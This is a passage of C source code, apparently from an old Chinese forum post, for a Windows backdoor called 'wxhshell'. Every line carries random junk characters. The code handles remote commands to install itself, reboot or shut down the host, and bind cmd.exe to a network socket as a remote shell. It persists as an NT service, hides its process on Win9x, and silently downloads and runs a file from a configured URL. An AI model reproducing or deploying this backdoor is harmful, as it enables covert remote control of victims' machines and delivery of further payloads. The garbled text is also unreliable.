  kdeWip6Y  
  // 帮助 (hbyEQhF  
  case '?': { fIU#M]Xx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }S-O& Z  
    break; V U3upy<  
  } `Ggbi4),  
  // 安装 JK5gQ3C[  
  case 'i': {  ZBp/sm  
    if(Install()) %dVZ0dl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H<,gU`&R  
    else $'M!HJxb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iqWQ!r^  
    break; on `3&0,.  
    } <>rneHl8  
  // 卸载 m;QMQeGz  
  case 'r': { hz@bW2S.  
    if(Uninstall()) rg!r[1c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjYJs*#  
    else 0x@ mZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OQJ6e:BGt  
    break; q@8*Xa>  
    } jQB9j  
  // 显示 wxhshell 所在路径 Tyx_/pJT  
  case 'p': { /82b S|  
    char svExeFile[MAX_PATH]; s.C_Zf~3  
    strcpy(svExeFile,"\n\r"); &V/Mmm T  
      strcat(svExeFile,ExeFile); b8 likP"T  
        send(wsh,svExeFile,strlen(svExeFile),0); M .mfw#*  
    break; u^  ~W+  
    } eeB{c.#  
  // 重启 uK Hxe~  
  case 'b': { DB}eA N/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4H&+dR I"  
    if(Boot(REBOOT)) eng'X-x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=V-V<  
    else { h2d(?vOT  
    closesocket(wsh); xwo<' xT  
    ExitThread(0); MQ8J<A Pf-  
    } @K-">f  
    break; $xN|5;+  
    } 0 kW,I  
  // 关机 &D*b|ilvc  
  case 'd': { "4{r6[dn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wf<M)Rs|  
    if(Boot(SHUTDOWN)) }BP;1y6-r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KbeC"mi  
    else { 8$}<, c(  
    closesocket(wsh); H/M@t\$Dc  
    ExitThread(0); 3.y vvPFEM  
    } /j.9$H'y  
    break; 6=Otq=WH  
    } _oeS Uzq.  
  // 获取shell gg2( 5FPP  
  case 's': { `;egv*!P  
    CmdShell(wsh); 3^yK!-Wp(  
    closesocket(wsh); o66}yJzmD  
    ExitThread(0); xJ.M;SF4  
    break; utV_W&  
  } IH+|}z4N?>  
  // 退出 Y.p;1"  
  case 'x': { oEpFuWp%A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l*G[!u  
    CloseIt(wsh); X"%gQ.1|{j  
    break; yJIscwF  
    } ;aVZ"~a+\  
  // 离开 9hyn`u.  
  case 'q': { ;Rl x D 4p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qJ-/7-$ ^  
    closesocket(wsh); CU!Dhm/U  
    WSACleanup(); |vj/Wwr  
    exit(1); 2D5StCF$O  
    break; La[V$+Y  
        } [Y`W  
  } ]7A'7p $Y  
  } 493*{  
7b+6%fV  
  // 提示信息 ?}Y]|c^W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YN5rml'-  
} d&>^&>?$zh  
  } cH2K )~  
4_ML],.  
  return; 6_B]MN!(  
} $%f&a3#  
I7 ]8Y=xf  
// shell模块句柄 N?8!3&TiV  
int CmdShell(SOCKET sock) f _:A0  
{ Zv{'MIv&v  
STARTUPINFO si; /PKNLK  
ZeroMemory(&si,sizeof(si)); #KvlYZ+1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M<&= S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;$Jo+#  
PROCESS_INFORMATION ProcessInfo; {_*yGK48n  
char cmdline[]="cmd"; CTmT@A{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |Y.?_lC  
  return 0; n+R7D.<q!!  
} .e-#yET  
|DwZ{(R"W  
// 自身启动模式 :Hbv)tS\3w  
int StartFromService(void) eyxW 0}[  
{ #O&8A  
typedef struct Pg{J{gn  
{ m]&SNz=  
  DWORD ExitStatus; !8 b ^,  
  DWORD PebBaseAddress; |N]XJ)?  
  DWORD AffinityMask; K (|}dl:  
  DWORD BasePriority; /$%%s=@IL  
  ULONG UniqueProcessId; l U]nd[x  
  ULONG InheritedFromUniqueProcessId; ^B^9KEjTz  
}   PROCESS_BASIC_INFORMATION; }6ldjCT/,  
% ] U  
PROCNTQSIP NtQueryInformationProcess; vP,n(reM  
7xR\kL.,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _#8MkW#]~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "J1 4C9u   
-G=]=f/'  
  HANDLE             hProcess; fV~[;e;U.  
  PROCESS_BASIC_INFORMATION pbi; vih9 KBT  
q,%st~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Z&(6cDY8M  
  if(NULL == hInst ) return 0; TcoB,Kdce  
glw+l'@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ho]su?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;AG()NjOO:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 19] E 5'AI  
ee=D1qNu;  
  if (!NtQueryInformationProcess) return 0; +w~oH=  
@(lh%@hO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l+b~KU7~l  
  if(!hProcess) return 0; {4PwLCy  
9tnD=A<PS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !n%j)`0M  
D6Wa.,r  
  CloseHandle(hProcess); ~>XxGjxe  
eJX#@`K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ji= "DYtL  
if(hProcess==NULL) return 0; R@2X3s:  
C_Wc5{  
HMODULE hMod; '<uq3?5  
char procName[255]; X wtqi@zlE  
unsigned long cbNeeded; h yIV.W/  
v` r:=K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k;W XB|k  
`H+ lPM66  
  CloseHandle(hProcess); 4&iCht =  
Z30A{6}  
if(strstr(procName,"services")) return 1; // 以服务启动 "wc<B4"  
tl>7^hH  
  return 0; // 注册表启动 7-A2_!_x{  
} d"Y{UE  
w2J<WC+_<  
// 主模块 6w77YTJ  
int StartWxhshell(LPSTR lpCmdLine) 3$JoDL(Z  
{ @%SQFu@FJ  
  SOCKET wsl; ~QVH<`sn  
BOOL val=TRUE; 6H|S;K+  
  int port=0; z?//rXuO  
  struct sockaddr_in door; UCWBYC+  
Ir]\|t  
  if(wscfg.ws_autoins) Install(); S,=|AD  
M3Kfd  
port=atoi(lpCmdLine); b`_Q8 J  
j+YJbL v  
if(port<=0) port=wscfg.ws_port; ,z?':TZ  
A2Tw<&Tw(  
  WSADATA data; ,u!sjx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B/C,.?Or  
-K$)DvV^(E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wA.\i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T9&1VW  
  door.sin_family = AF_INET; wQLSf{2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DTs;{c  
  door.sin_port = htons(port); +/\6=).\  
B erwI 7!=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [Nq*BrzF  
closesocket(wsl); o"SMbj  
return 1; GKCroyor  
} L%5%T;0'~  
\j.:3X r  
  if(listen(wsl,2) == INVALID_SOCKET) { @ .KGfNu  
closesocket(wsl); FPTK`Gd0  
return 1; ?%kV?eu'  
} 8XbT`y  
  Wxhshell(wsl);  S[QrS 7  
  WSACleanup(); I 2DpRMy  
J8~haim  
return 0; 9>$p  
-Qe Z#w|  
} A\;U3Zu  
We z 5N  
// 以NT服务方式启动 O'~+_ykTl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BORA(,  
{ U ;I9 bK8  
DWORD   status = 0; Aa]"   
  DWORD   specificError = 0xfffffff; t:c.LFrF  
/L#?zSt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mcok/,/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "I TIhnE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lRdChoL$2  
  serviceStatus.dwWin32ExitCode     = 0; 6zn5UW#q  
  serviceStatus.dwServiceSpecificExitCode = 0; _aMF?Pj~m  
  serviceStatus.dwCheckPoint       = 0; GJUL$9  
  serviceStatus.dwWaitHint       = 0; FgI3   
l+0P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?hM64jI|  
  if (hServiceStatusHandle==0) return; (I}v[W  
s(8W_4&'  
status = GetLastError(); Qei" '~1a  
  if (status!=NO_ERROR) { "E\Jcjl\  
{ R GX=)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "*H`HRi4T  
    serviceStatus.dwCheckPoint       = 0; UZ$/Ni  
    serviceStatus.dwWaitHint       = 0; E!AE4B1bd  
    serviceStatus.dwWin32ExitCode     = status; c:g'.'/*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8i,K~Bu=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 07$o;W@  
    return; '3H_wd  
  } [8*)8jP3  
(tQc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vcd\GN*4f  
  serviceStatus.dwCheckPoint       = 0; M@ZI\  
  serviceStatus.dwWaitHint       = 0; |WUG}G")*x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s9d_GhT%-  
} L_s:l9!r  
uwBi W  
// 处理NT服务事件,比如:启动、停止 v9UD%@tZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #o2[hibq  
{ Q5_o/wk  
switch(fdwControl) o`RKXfCq  
{ '%`:+]!  
case SERVICE_CONTROL_STOP: fxIf|9Qi`  
  serviceStatus.dwWin32ExitCode = 0; {zFMmPid  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; snikn&  
  serviceStatus.dwCheckPoint   = 0;  7[wieYj{  
  serviceStatus.dwWaitHint     = 0; yCX?!E;La  
  { ,v&(YOd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8JD,u  
  } _-Fs# f8  
  return; YnP5i#"  
case SERVICE_CONTROL_PAUSE: 4H<lm*!^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cFWc<55aX6  
  break; FsryEHz  
case SERVICE_CONTROL_CONTINUE: 188*XCtjQ9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5PnDN\  
  break; k;L6R!V  
case SERVICE_CONTROL_INTERROGATE: :,I:usW"  
  break; !Rt>xD  
}; d^6M9lGU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MqUH',\3  
} 1!gbTeVlY  
'`<w#z}AF  
// 标准应用程序主函数 ! v0LBe4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7\q~%lDE  
{ 6MkP |vr6  
;w[0t}dPl  
// 获取操作系统版本 OydwE  
OsIsNt=GetOsVer(); O0y_Lm\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -D$8  
m9Hit8f@Q  
  // 从命令行安装 #1G:lhkC  
  if(strpbrk(lpCmdLine,"iI")) Install(); tNX|U:Y*  
pV"R|{#V  
  // 下载执行文件 N8FF3}> g  
if(wscfg.ws_downexe) { @|%2f@h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t`mV\)fa  
  WinExec(wscfg.ws_filenam,SW_HIDE); "FKOaQ%IH  
} @{O`E^}-D  
_#h_:  
if(!OsIsNt) { 6i~WcAs  
// 如果时win9x,隐藏进程并且设置为注册表启动 e)O 4^#i  
HideProc(); |H+Wed|  
StartWxhshell(lpCmdLine); k)Qtfj}uij  
} 9*?oYm;dX  
else d<N:[Y\4l  
  if(StartFromService()) N*&1GT#9  
  // 以服务方式启动 o.l- 7  
  StartServiceCtrlDispatcher(DispatchTable); e@OX_t_  
else {8%a5DiM  
  // 普通方式启动 w*JGUk  
  StartWxhshell(lpCmdLine); ^]-6u:J!  
Q)[C?obd v  
return 0; > "=>3  
}
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只看该作者 1 发表于: 2006-10-10
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